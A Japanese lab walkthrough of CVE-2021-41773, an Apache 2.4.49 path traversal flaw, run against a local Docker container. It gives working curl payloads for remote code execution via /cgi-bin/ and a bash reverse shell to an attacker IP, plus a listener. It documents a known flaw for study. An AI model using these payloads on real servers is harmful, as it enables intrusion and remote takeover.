
CVE識別子CVE-2021-41773を持つ最初の脆弱性は、Apache HTTP Server 2.4.49に存在するパストラバーサル(パス横断)の欠陥です。
Apache HTTP Server 2.4.49 のパス正規化に加えられた変更に欠陥が見つかりました。攻撃者はパストラバーサル攻撃を使用して、Alias 系ディレクティブによって構成されたディレクトリの外部にあるファイルに URL をマッピングできる可能性があります。
これらのディレクトリの外部にあるファイルが、通常のデフォルト設定である "require all denied" によって保護されていない場合、これらのリクエストは成功する可能性があります。さらに、これらのエイリアスされたパスで CGI スクリプトが有効になっている場合、リモートコード実行を許す可能性があります。
この問題は、実際に悪用されていることが知られています。
この問題は Apache 2.4.49 にのみ影響し、それ以前のバージョンには影響しません。
パストラバーサル攻撃(ディレクトリトラバーサルとも呼ばれます)は、Web ルートフォルダーの外部に保存されているファイルやディレクトリにアクセスすることを目的とします。「ドットドットスラッシュ (../)」シーケンスとそのバリエーションを含むファイル参照変数を操作したり、絶対ファイルパスを使用したりすることで、アプリケーションのソースコードや設定、重要なシステムファイルなど、ファイルシステム上に保存されている任意のファイルやディレクトリにアクセスできる可能性があります。ファイルへのアクセスは、システムの運用上のアクセス制御(Microsoft Windows オペレーティングシステム上のロックされたファイルや使用中のファイルの場合など)によって制限されることに注意してください。
この攻撃は、「ドットドットスラッシュ」「ディレクトリトラバーサル」「ディレクトリクライミング」「バックトラッキング」としても知られています。
$ docker-compose build
$ docker-compose up
動作を確認
$ curl http://localhost:1234
<html><body><h1>It works!</h1></body></html>
被害者 : localhost:1234
攻撃者 : 192.168.1.12
ドキュメントによると、これはリモートでコードを実行(RCE)できるようにする脆弱性です。
cgi-bin フォルダーに対して curl を実行することで悪用できます。
$ curl 'http://<victim_ip>/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; <command>'
1. RCE
実際にコマンド(例: id)にアクセスできるかどうか確認してみましょう:
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; id'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
2. リバースシェル
被害者のサーバー上に bash ファイルを作成して、リバースシェルをテストします。
例として、PayloadsAllTheThings リポジトリにある bash のリバースシェルを使用しましょう。
以下は一例です:
bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
被害者のマシンの /tmp/ フォルダーに vuln.sh というファイルを作成しましょう!
このファイルには、リモートで実行できるリバースシェルを記述します。これは、ローカルマシンのポート 44 に接続します。
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; echo "#!/bin/bash\nbash -i >& /dev/tcp/192.168.1.12/44 0>&1" > /tmp/vuln.sh'
cat コマンドでファイルの内容を確認できます。
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; cat /tmp/vuln.sh'
#!/bin/bash
bash -i >& /dev/tcp/192.168.1.12/44 0>&1
3. ncat によるリスナー
ローカルマシン上にリスナーを作成しましょう。
$ nc -lvnp 44
あとはリモートファイルを実行するだけです。
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:
text/plain; echo; bash /tmp/vuln.sh'
応答:
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::44
Ncat: Listening on 0.0.0.0:44
Ncat: Connection from 172.19.32.1.
Ncat: Connection from 172.19.32.1:58963.